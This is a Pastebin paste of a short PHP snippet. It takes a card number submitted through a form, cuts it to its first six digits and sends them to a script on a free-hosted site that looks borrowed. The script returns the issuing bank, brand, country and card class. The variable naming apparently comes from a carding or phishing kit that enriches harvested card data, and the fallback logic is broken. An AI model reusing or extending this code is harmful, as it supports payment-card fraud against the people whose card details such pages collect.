JakRapp

http://smk-nurulummah.000webhostapp.com/cok.php?bin=

Dec 11th, 2017
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.93 KB | None | 0 0
  1. // http://smk-nurulummah.000webhostapp.com/cok.php?bin=
  2. function bin($bin) {
  3.   $bin    =  json_decode(file_get_contents('http://smk-nurulummah.000webhostapp.com/cok.php?bin=' . $bin));
  4.   $bin    =  $bin->result[0]->bin;
  5.   if (!$bin) {
  6.     $json   =  (object) [
  7.       'bankName'  =>  '',
  8.       'brand'     =>  '',
  9.       'country'   =>  '',
  10.       'type'      =>  '',
  11.       'class'     =>  '',
  12.     ];
  13.   }
  14.   $json   =  (object) [
  15.     'bankName'  =>  $bin->Bank,
  16.     'brand'     =>  $bin->Brand,
  17.     'country'   =>  strtoupper($bin->CountryName),
  18.     'type'      =>  $bin->CardType,
  19.     'class'     =>  $bin->CardCategory,
  20.   ];
  21.   return  $json;
  22. }
  23.  
  24. $bin     = str_replace(' ', '', $_POST['cc_number']);
  25. $bin     = substr($bin, 0, 6);
  26.  
  27. $babi     = bin($bin);
  28.  
  29. $ccbrand = $babi->brand;
  30. $ccbank  = $babi->bankName;
  31. $cctype  = $babi->type;
  32. $ccklas  = $babi->class;
  33. $cc_x_CardLevel = $babi->class;
  34. $cc_x_Bank      = $babi->bankName;
Add Comment
Please, Sign In to add comment